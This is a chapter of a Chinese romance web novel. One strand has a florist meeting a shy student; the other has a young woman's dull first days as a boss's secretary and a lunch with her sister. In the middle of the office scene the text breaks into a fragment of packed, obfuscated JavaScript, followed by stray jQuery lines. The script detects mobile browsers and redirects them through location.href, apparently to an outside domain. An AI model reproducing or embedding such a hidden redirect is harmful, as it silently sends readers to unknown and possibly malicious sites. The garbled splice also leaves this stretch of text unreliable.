第十二章
六月的滨海小城，不凉不燥，偶有阵雨，卷走笼罩着小岛的闷热气息。
午饭时间到，在藤椅上小憩的她缓缓掀开眼皮，叫醒她的不是闹钟，而是从玻璃门缝透进来的隔壁面馆的阵阵香味。
肚子饿了呢。
小曼伸了个懒腰，坐起身子摸手机看，快十二点了，难怪饿了。
从旁边桌上捞起个发圈，将披散的长发随意扎起来，趿拉着拖鞋就往门口走去。
刚下过一场大雨，刺眼的日光还没来得及晒干湿漉漉的路面，一滩滩亮晶晶的水渍，在光线折射下，像极了破碎的钻石。
将玻璃门上挂着的“休息中”的牌子翻过来，她就往隔壁面馆走去。
一家不大的门面，简陋又破旧，但到处都很干净，整套木质桌椅和地板的色调相近，浅色的墙上挂着不少拍立得照片，整家店看起来整洁温馨。
这会儿刚到饭点，陆续有人进来吃饭，小曼找到一个空桌子，走过去坐下。
老板娘拿着抹布从后厨出来，看到她，笑盈盈：“小曼妹妹，来吃饭啦。”
她点头，回以轻轻一笑。
“今天吃点什么？”老板娘问。
她随便看了两眼菜单，说：“还是海鲜面吧。”
海鲜面是店里的招牌之一，食材根据当天现捕捞的成果而定。
选择困难症的她，最经常点的就是这个。
等待的空隙，小曼无聊地刷手机，一只手懒懒撑着面颊，时不时打个呵欠。
又有客人进来，视线余光里，出现一双洗得发白的球鞋，再往上，是一双笔直的长腿，套着黑色的运动裤。
长腿缓缓移动着，走向了她旁边那一桌。
老板娘热情的招呼声在耳边响起来。
“小驰，放学啦，你最近很常来光顾嘛，今天吃什么？”
来吃饭的基本上都是住在附近的熟人，随便来个人老板娘都能寒暄一两句。
“嗯，热汤面吧。”说话的是个年轻的男声，嗓音清脆干净，又带着一点慵懒的随性。
“好嘞。”老板娘冲后厨喊着下菜单。
“是江驰欸——”
“真的耶，他好帅哦。”
“你不要这么明显偷拍他啦，会被发现……”
坐在小曼前面的，是两个穿着校服的小女生，她们时不时转头看向身后另一侧，表情激动，刻意压低了嗓门也压不住她们高亢的情绪。
小曼依然漫不经心地滑手机，头也不抬。
没一会儿，热腾腾的海鲜面上来了。
袅袅热气，熏着她的眼睛。
红艳艳的大虾，绿油油的蔬菜，咧着大口的文蛤，以及肥美的海蛎子，看着就让人食欲大开。
这个季节的虾子个头大，肉紧实，文蛤和海蛎子鲜甜鲜甜。
吃口面，再喝口汤，整个人都精神焕发。
一碗面很快就被解决光了。
小曼抽纸巾擦了擦嘴，走到收银台前，打开手机扫码支付。
“陈姐，钱我扫过去了。”
正在招呼客人的陈姐抬头冲她笑：“好嘞，慢走呀妹妹。”
从面馆出来，阳光更烈了一些，小曼不由地眯了眯眼，脚步一转，折去了另一个方向的冷饮店。
“一杯薄荷奶绿，七分糖，正常冰。”
最近天气热了，她点冷饮的次数越来越频繁。
换做以前，这基本是不可能的事，要知道为了保持身材，她每天可都是严格控制糖分的摄入，更别说这种满是甜味剂的饮料了。
而现在的她却忽然理解不了这件事的意义，甚至无法理解从前自己那看似随性实则充满了条框教条的人生。
“薄荷奶绿，五分糖。”
她的思绪被一道低低的嗓音打断，视线里又出现了那双洗得发白的球鞋。
少年站在离她半米左右的距离，长长的影子将她覆盖住了。
个子可真高。
她这么想着，下意识往旁边挪动了一小步。
奶绿好了，小曼从店员手里接过来，站在太阳底下猛吸一大口。
薄荷的沁凉滑过喉咙，抵达身体的每一个毛孔里。
啊，真爽。
她边喝边往反方向走去。
感觉有点困，她打算到花店把东西收拾好，回去睡会儿。
她住的地方就在花店对面的路口，一座老旧的三层小楼。
天气好的时候，推开窗，清爽海风裹挟着大片明媚阳光填充进房间的每个角落。
她就懒懒躺在沙发上，任由轻柔的风吹过她的头发，脸颊，身体，像是一个温柔的充满安全感的拥抱。
那一刻，红尘俗世间所有的恩怨纷扰，如同一缕徐徐往上的轻烟，风吹尽散，仿若隔世。
第一次来的那天，小曼眯着眼在窗边静静站了十分钟，风将她的长发吹乱，但她的内心却前所未有的宁静。
当天她就决定租在这里了，一住就是大半年。
……
太阳越来越晒，小曼看着手机，走的时快时慢。
到花店门口的时候，她停了下来。
出其不意的转身，让身后的少年倏地一顿，也停住了。
她撞上他略显慌乱的表情，一双黑漆漆的眼睛就这么直直看着她。
稍许，他又别扭地将视线转开了。
小曼双手轻轻环在胸前，细眉一抬，眯眼瞧着面前紧张的人，带点戏谑的语气：“找我有事？”
江驰瞄了她一眼，微微启唇想说什么，有些犹豫不决的。
小曼没有催，只是静静看着他。
他的头发被汗水浸湿，小麦色的皮肤包裹在黑色T恤里，隐约可见结实的手臂线条。
明媚阳光下，有着英俊眉眼的少年，仿佛一棵生机勃勃的红豆杉，浑身都充溢着盎然的生命力。
唉，这让人嫉妒的青春气息。
沉默片刻，江驰轻轻甩了甩肩上的书包，往她的方向走近几步。
“还给你。”他将攥在手心许久的东西朝她摊开来，眼睛看向别处。
是一个深棕色的鲨鱼夹。
小曼看了看，好像确实是自己的。
毕竟她有太多各式各样的发夹了，每次都是随手抓个来用，这只是她众多物件中最不起眼的一件，就算丢了也不会在意。
她稍稍回忆了一下，难道，是那天晚上不小心落下的？
望着少年依然局促的模样，于是她从他手心里拾起了鲨鱼夹。
同捏在指间里的，还有一抹淡淡的余温。
“谢谢了。”小曼扬了扬细长的眉，慢悠悠地说。
江驰反倒有点不好意思，空了的手抓了下后脑勺：“……没事。”
小曼点头，刚要拉开旁边的玻璃门把手，忽然想起什么，又转向身后还停在原地的人：“欸，你等我一下。”
说完她走进花店，门口堆放着早上刚进的一批洋桔梗，淡粉浅绿的花瓣层层叠叠，挤挤挨挨，像养了一池清新的春天。
她从中抽出了几枝。
出来的时候，江驰果然乖乖等在那里。
她将手里的洋桔梗递给他：“喏，送你了。”
江驰一时没反应过来，低头看，那粉白的花球一团团簇拥在一起，柔软的花瓣间还有晶莹的水珠滚动。
见他没动，小曼轻轻催促了一声：“拿着啊。”
“哦。”他顺从地伸手接过来。
看起来怎么这么呆呢。小曼忍不住又勾了勾唇角。
这是江驰今天第二次见她笑。
清透的日光照下来，将她的皮肤映衬得格外白皙，她穿一件细带扎染印花长裙，头发就那么松松地往后一扎，散落下的几缕发丝，缠住她的樱桃耳坠。
慵懒随意的打扮，看起来却无比妩媚风情。
江驰将自己的目光转开，继续低头看花。
她早已经走进花店了，他还迟迟没有离开。
手里捏着的洋桔梗开得娇艳明媚，就像她一样。
***
上班第一天，阮妍早早就出门了。
为了证明自己认真的态度，不只是玩玩而已，她拒绝了温颖交待司机的接送，决定自己搭地铁去。
碧佳湾南门不远就有一个地铁站，直接坐到公司楼下，不过二十分钟。
出了地铁口，跟着手机导航步行几十米，很容易就能找到卓陆的位置。
她原地站定，抬起头望了望眼前那栋高大气派的建筑，玻璃外墙上“世洲大厦”几个金灿灿的大字在阳光下泛着闪闪光泽。
进入大厦，在门口的前台简单询问了几句，阮妍得知自己要去的楼层是15层。
她一开始还以为整栋楼都是卓陆的，原来除了15-17楼是属于卓陆的办公区，还有其他公司也入驻在里面。
后来她才知道，世洲大厦属于万莱集团的产物，而整栋大楼的设计则出自卓陆之手。
因为没有公司的门禁卡，阮妍暂时进不去，打了人事的电话，在门口等了一会儿，一个穿着衬衣铅笔裙的气质美女走出来。
“你好，我是阮妍，请多关照。”阮妍主动问好道。
“你好阮妍，”对方冲她笑了笑，“我是林琳，很高兴认识你。”
“谢谢，我也是。”阮妍跟在她后面走进去。
林琳看起来比她年长几岁的样子，短发，高个儿，淡淡的妆容一丝不苟，气质精干。
也不知道什么时候自己才能练就这种四平八稳的强大气场。
林琳带她到前台领了工作门禁卡，之后一路走一路简单跟她介绍了下公司的注意事项，以及她平时的工作内容。
阮妍趁机快速扫视了下公司内部环境，上下两层大挑空的空间，无限的延伸感，让视觉一下子豁然开朗。
没有花里胡哨的装饰，整体环境以白灰为主色调，干净简约，而那些看起来普普通通的桌椅，花瓶，挂灯之类的物件，却又处处融入许多精心设计的小巧思。
不一定多奢华高档，但十分有格调。
“你的工位在这儿，”林琳把她领到一张办公桌前，同时指了指周围，“这片区域都是陆总带的团队，以后你跟他们就是一个组。”
阮妍点点头。
随后林琳轻轻拍了拍手：“介绍一下，这是阮妍，陆总的秘书，我们的新同事。”
阮妍扬起标志性的微笑，向在座的同事打招呼。
但有点出乎意料的，大家对她的反应并不是很热情，只是敷衍地看她一眼，很快就又埋头面对着电脑忙碌了。
阮妍有点尴尬，林琳却表现淡定：“别在意，他们就是太忙了，其实人都很好的，嗯……反正以后你就知道了。”
知道她是在安慰自己，阮妍善解人意地点头：“好。”
随后，又想起什么：“对了，陆总他……”
“哦，差点忘了告诉你，陆总办公室在那一间，”林琳指了指她的斜前方，“他今天应该不会来公司，你先自己看一些资料典例，等他来了会具体给你安排工作，你有什么问题可以找我，或者找其他同事也可以。”
“好的，谢谢你林琳姐。”阮妍知道不论什么场合，嘴甜准不会错。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722443|173786||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“不客气，”林琳轻轻拍了拍她的肩膀，“欢迎你进入卓陆的大家庭，以后一起加油吧。”
林琳离开后，阮妍稍微收拾了下桌面，接着开始翻阅电脑上的资料。
周围没人闲聊，都在专心处理自己的工作，阮妍也不好找他们说话，就自己安静待在工位上，尽量不出声打扰他们。
很快就到了午饭时间，林琳说卓陆和大厦里另外两家公司，一起在三楼承办了个员工餐厅，她中午可以到那里吃饭。
阮妍抬头看了看其他同事，他们依然个个埋头忙碌着，没人起身要去吃饭的意思。
这也太爱岗敬业了吧家人们……
一开始阮妍不大好意思自己一个人溜走，但无奈她的胃里早已在扬铃打鼓，甚至还陆续建立了演奏小分队，奏起了c小调第五交响曲。
什么都可以忍，唯独吃饭这件事，忍一时心慌手抖低血糖，退一步十二指肠溃疡。
所以，她毅然决然从座位上站起来，去三楼吃饭了。
吃过饭，从餐厅回到公司，阮妍发现身边只空了两三个位子，大多数同事居然还坐在位子上忙着工作，只不过手边多了咖啡面包三明治。
他们中午就靠这些填饱肚子吗？
阮妍小心翼翼地在工位坐下，对他们的敬业态度佩服得五体投地。
下午依然是无聊又漫长的时光，偏偏陆沛时一整天都没来公司，没有任何工作任务的阮妍无所事事，带薪发呆。
其他同事仍是齐刷刷面无表情地坐在电脑前，偶尔互相交流几句阮妍听不大懂的专业术语，大多数的氛围都是安静而压抑的。
好不容易捱到下班，走出公司后的阮妍这才终于有如释重负的感觉。
虽然一整天啥事都没干，但这比让她干苦力活可疲惫多了。
真是闻者伤心听者落泪。
接下来连续几天都是如坐针毡的带薪发呆时光，陆沛时一直没来，没人给阮妍布置工作任务，她每天都是百无聊赖地看看电脑，刷刷手机，一天就又这么枯燥乏味地过去了。
这天中午，刚到十二点，阮妍正犹豫着要不要多坐几分钟装装样子，电话就响了。
是温颖打来的，她来接阮妍一块儿去吃饭，车就在公司楼下。
“姐——”阮妍老远就瞧见停在路边的那辆奔驰s450，以及车上那个熟悉的身影。
灰蒙蒙了好几天的心情瞬间就拨云散雾了。
温颖在车窗里望着那个挥着手，满脸笑意奔向自己的女孩，也忍不住跟着弯起嘴角。
仿佛又看到了小时候，每次自己放学回来，就屁颠屁颠跑上来讨要抱抱的那个小姑娘。
“你终于出差回来啦，”阮妍拉开副驾的门，坐上去后第一件事就是搂住温颖的胳膊，“难怪今天的空气都特别香，原来是我最漂亮的姐姐回来了。”
温颖笑：“嘴巴抹蜜了啊，这么甜。”
“那是，谁让人家是你最爱的小甜甜呢。”阮妍蹭着她的胳膊使劲眨眼卖萌。
“行吧，那请问这位小甜甜小姐，我们现在可以去吃饭了吗？”
“当然可以，”肚子早就发出抗议的阮妍刷一下坐直身子，麻溜系上安全带，“出发——”
温颖带她去了一家叫“宣林苑”的中餐厅。
看着门口那块题着鎏金大字的大匾额，阮妍有些意外：“我以为就是在公司附近随便吃一吃呢。”
温颖神神秘秘地说：“除了你之外，我还请了人。”
“谁啊？”阮妍好奇。
温颖解开安全带，故意卖关子：“一会儿就知道了，走吧。”
服务员将她们带到一个名叫“水云阁”的包厢门前。
门缓缓打开，阮妍看到一张白白净净戴着眼镜的男人的脸，以及男人身边的……另一个男人。
“久等了吧，路上有点堵车。”温颖走进去。
“没有没有，我们也刚到不久。”看到温颖出现，卓铭立马从椅子上站了起来。
温颖走到他旁边的位子，他十分自然地接过她手里的包，放到后面的椅子上。
“正式介绍一下吧，我妹妹，阮妍。”温颖对卓铭说道。
卓铭露出一口大白牙，笑起来有点腼腆的样子：“阮妍，你好。”
他穿着很普通的T恤休闲裤，头发剪的很短，眼神纯净得跟白开水似的，青涩得像个刚毕业的大学生。
要是旁人不说，真的很难看出来他是个公司老总。
之前阮妍也短暂与他见过两面，时间匆忙，且每次他的注意力全都放在温颖身上，所以阮妍和他话也没机会说上过一句。
“你好啊，姐夫。”阮妍投其所好，趁机跟他打好关系，拉近距离。
“小妍，别乱喊。”温颖轻轻扯她一下衣角，脸上却带着压不住的笑意。
听到这个称呼的卓铭，眼睛明显亮了下，嘿嘿笑两声，不好意思地摸了下后脑勺。
谁能想到呢，平时又酷又飒的女强人温颖，男朋友居然是如此温文腼腆的类型。
虽然反差巨大，但阮妍看着他们两人站在一起的画面，感觉说不出的很登对，很互补。
随后，温颖又把目光转向了卓铭身边的那个男人，半带玩笑的语气：“你们俩就不用再互相介绍了吧，老熟人了。”
阮妍：“……”
穿着黑衬衫的男人，一双幽深眼眸不带情绪地对上了阮妍的视线。
真倒霉，今天她不巧也穿了件黑色衬衣。
真是孽缘。
两秒钟后，阮妍皮笑肉不笑地扯起嘴角，表情与角色都转变的极快：“陆总，你好。”